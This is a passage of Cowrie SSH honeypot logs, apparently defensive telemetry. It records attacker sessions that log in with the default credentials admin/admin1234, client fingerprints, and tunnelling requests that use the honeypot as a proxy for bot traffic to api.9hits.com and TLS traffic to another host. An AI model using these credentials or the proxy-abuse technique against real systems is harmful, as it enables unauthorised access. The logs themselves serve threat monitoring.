c-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:04.004608Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:05.213403Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:05.638880Z","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:05.742717Z","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":60987,"dst_ip":"10.17.0.5","dst_port":22,"session":"f72ff9fa902d","protocol":"ssh","message":"New connection: 23.175.50.52:60987 (10.17.0.5:22) [session: f72ff9fa902d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:05.747763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:05.753710Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:05.945238Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:06.055559Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.4.2; Mobile; rv:82.0) Gecko/82.0 Firefox/82.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1180\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aClyYy9oNG1qak4yJWFnPA%3D%3DzJO9l1rWR2yEsoEiYIl6AtvZDYsoSLDyP0K5w7x7RvCLf%2B6ED9EcpGiZGQknPeBa%2Fpd0LvTNrGAkz9k%2BxKsQx%2BY1iKQIpXxt3sktvubzagz0Q2Wlg1lR%2F8fXznTrabJeN0uRtKcY%2FQQNkNlw2zSIPumApo4FzdtrKsbX8Fnb%2BLSYIRAa%2BegK4ixvUAe490DGapQ4TYtcbVel%2FK%2FY6abClp0v5fy3Tv0sGYR8h%2FNT7blUGoJ3XnktR5vnVkEQkTmZbemVIUOJD%2Fd6t0WvHjvGztA4yRDyLWxlnMPCLny34KCkC4iUA8raV%2B1TOaCNVkNrE%2Fiqrmq6qcRDf7dfTF3Y9s8AW86hsi3P6INyqJNnhZ6k0sBkhG3hcWJvxqUZr175NbFP%2BrDZ5lbFImLag7%2BPEn%2F%2B0WnFzsQ3Ej%2B9h2rjrnKhADQljBkEhVL5b6l9DJZ05hmTlLkmteEU7oVu%2FzKeyLsezAo4LeU9k%2Frnz4OTVzv%2Bl3C6ovoTgrsSIk%2BProqaxL4lwHJYFa6%2BAEt54wmolYQlLu8UBglNBLpZlwXiLE2tUmu0NYCHVX1UbUQDQmPn7en5jnCbCF7FuJ%2FDBUWznoXX0%2FWVTijlN1R05vcyLlW%2B1N1AJrRTxNdNDXVj6Noe4Vikb399LLbNF8d%2B8JDPUPmWPPoF1XgPfyuxoiIEiG8%2FZIZZwFWz%2Bc8E2VS4Hke6DBQeENgsCX%2FwqvP3hDWPozEN7t2WJKWWaVXwjkPyXhDqidOdNHdd672T5wBl0%2FRBjLULt7obHepw8rW7gKIEiEtjOV9bK4mpHbd7xl7c9v7nJKYf8UsCtPnz2dDL3qpm88qSdpy9KJ%2FvRyq4JuD2XrITiR7kUBOZeDZL%2BeUo%2Bebn11fC538XF3QGGuntrMV%2BFhhCH7jEI3r0ReA1sMEMZ6f0QdCxK3gjSBCAvOIs2SF0B6Z3jjVLu84bLlZVbBktSmxB0pAZKQrUKu5ITIZKvG58QoVadbrad4GaxaSvst0HW4v9I%2BIF9u5Sd0U0v4zg%2FK56%2BZVXqD1zY2dYtcu6iLj1K%2FsoGkMpWTnZWXcM2Cc%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.4.2; Mobile; rv:82.0) Gecko/82.0 Firefox/82.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1180\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aClyYy9oNG1qak4yJWFnPA%3D%3DzJO9l1rWR2yEsoEiYIl6AtvZDYsoSLDyP0K5w7x7RvCLf%2B6ED9EcpGiZGQknPeBa%2Fpd0LvTNrGAkz9k%2BxKsQx%2BY1iKQIpXxt3sktvubzagz0Q2Wlg1lR%2F8fXznTrabJeN0uRtKcY%2FQQNkNlw2zSIPumApo4FzdtrKsbX8Fnb%2BLSYIRAa%2BegK4ixvUAe490DGapQ4TYtcbVel%2FK%2FY6abClp0v5fy3Tv0sGYR8h%2FNT7blUGoJ3XnktR5vnVkEQkTmZbemVIUOJD%2Fd6t0WvHjvGztA4yRDyLWxlnMPCLny34KCkC4iUA8raV%2B1TOaCNVkNrE%2Fiqrmq6qcRDf7dfTF3Y9s8AW86hsi3P6INyqJNnhZ6k0sBkhG3hcWJvxqUZr175NbFP%2BrDZ5lbFImLag7%2BPEn%2F%2B0WnFzsQ3Ej%2B9h2rjrnKhADQljBkEhVL5b6l9DJZ05hmTlLkmteEU7oVu%2FzKeyLsezAo4LeU9k%2Frnz4OTVzv%2Bl3C6ovoTgrsSIk%2BProqaxL4lwHJYFa6%2BAEt54wmolYQlLu8UBglNBLpZlwXiLE2tUmu0NYCHVX1UbUQDQmPn7en5jnCbCF7FuJ%2FDBUWznoXX0%2FWVTijlN1R05vcyLlW%2B1N1AJrRTxNdNDXVj6Noe4Vikb399LLbNF8d%2B8JDPUPmWPPoF1XgPfyuxoiIEiG8%2FZIZZwFWz%2Bc8E2VS4Hke6DBQeENgsCX%2FwqvP3hDWPozEN7t2WJKWWaVXwjkPyXhDqidOdNHdd672T5wBl0%2FRBjLULt7obHepw8rW7gKIEiEtjOV9bK4mpHbd7xl7c9v7nJKYf8UsCtPnz2dDL3qpm88qSdpy9KJ%2FvRyq4JuD2XrITiR7kUBOZeDZL%2BeUo%2Bebn11fC538XF3QGGuntrMV%2BFhhCH7jEI3r0ReA1sMEMZ6f0QdCxK3gjSBCAvOIs2SF0B6Z3jjVLu84bLlZVbBktSmxB0pAZKQrUKu5ITIZKvG58QoVadbrad4GaxaSvst0HW4v9I%2BIF9u5Sd0U0v4zg%2FK56%2BZVXqD1zY2dYtcu6iLj1K%2FsoGkMpWTnZWXcM2Cc%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:06.058812Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:06.325966Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xbfb\\xba\\x96\\x1aD!\\xba\\xd5?u\\xbe\\xe6}#\\xa2\\xbd\\xaf\\xa5`g*\\xa5\\x93\\xfej\\xebG\\xe7\\x15G \\xccY-\"\\xdf\\xfd\\x17,\\xb1k\\xf6\\xdb\\x9d\\x01@Mm\\x01N\\xd2SF\\x08.M\\x9cd\\xc1\\x82K?\\x01\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xa43qH?\\xea\\x1f~=\\xf4\\xcda\\x96\\'\\xfd8Dx\\x17.\\xecl/6\\x82\\x18\\t\\x98\\xcanP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xbfb\\xba\\x96\\x1aD!\\xba\\xd5?u\\xbe\\xe6}#\\xa2\\xbd\\xaf\\xa5`g*\\xa5\\x93\\xfej\\xebG\\xe7\\x15G \\xccY-\"\\xdf\\xfd\\x17,\\xb1k\\xf6\\xdb\\x9d\\x01@Mm\\x01N\\xd2SF\\x08.M\\x9cd\\xc1\\x82K?\\x01\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\xa43qH?\\xea\\x1f~=\\xf4\\xcda\\x96\\'\\xfd8Dx\\x17.\\xecl/6\\x82\\x18\\t\\x98\\xcanP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:06.328874Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:06.892780Z","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:07.168769Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf+H\\x81\\xb8\\x90\\xdf\\xcbf\\x813\\xfb\\xd5\\xf9\\x15y\\x1f\\xcc\\x16\\xc8E\\xa0\\\\\\x97X>\\xfe\\xbd]\\x91\\xb4\\x8f pqQ\\x07\\x89\\x1f?G7\\x8d\\x1f1g\\xc9\\x9f\\xd4b\\x92\\xda\\xb1\\rN\\x96\\xd1\\r\\xadn\\xf0\\x1e[\\xd0\\x95\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 em&\\xb3\\x12\\x13\\xf7\\x16FR\\xa3\\xaa\\xd6]\\xfb\\x05\\xa9\\x90\\x7f\\xaf\\xa2\\xb8\\xd9\\x032eq\\x94Z\\x00?2\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf+H\\x81\\xb8\\x90\\xdf\\xcbf\\x813\\xfb\\xd5\\xf9\\x15y\\x1f\\xcc\\x16\\xc8E\\xa0\\\\\\x97X>\\xfe\\xbd]\\x91\\xb4\\x8f pqQ\\x07\\x89\\x1f?G7\\x8d\\x1f1g\\xc9\\x9f\\xd4b\\x92\\xda\\xb1\\rN\\x96\\xd1\\r\\xadn\\xf0\\x1e[\\xd0\\x95\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 em&\\xb3\\x12\\x13\\xf7\\x16FR\\xa3\\xaa\\xd6]\\xfb\\x05\\xa9\\x90\\x7f\\xaf\\xa2\\xb8\\xd9\\x032eq\\x94Z\\x00?2\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:07.173283Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:07.419905Z","src_ip":"23.175.50.52","session":"f72ff9fa902d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:07.577798Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.987224102020264,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:12.139220Z","src_ip":"172.81.62.90","session":"0a2d2cae96d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":54972,"dst_ip":"10.17.0.5","dst_port":22,"session":"90521652405c","protocol":"ssh","message":"New connection: 173.208.188.210:54972 (10.17.0.5:22) [session: 90521652405c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:23.419593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:23.423717Z","src_ip":"173.208.188.210","session":"90521652405c","protocol":"ssh"}
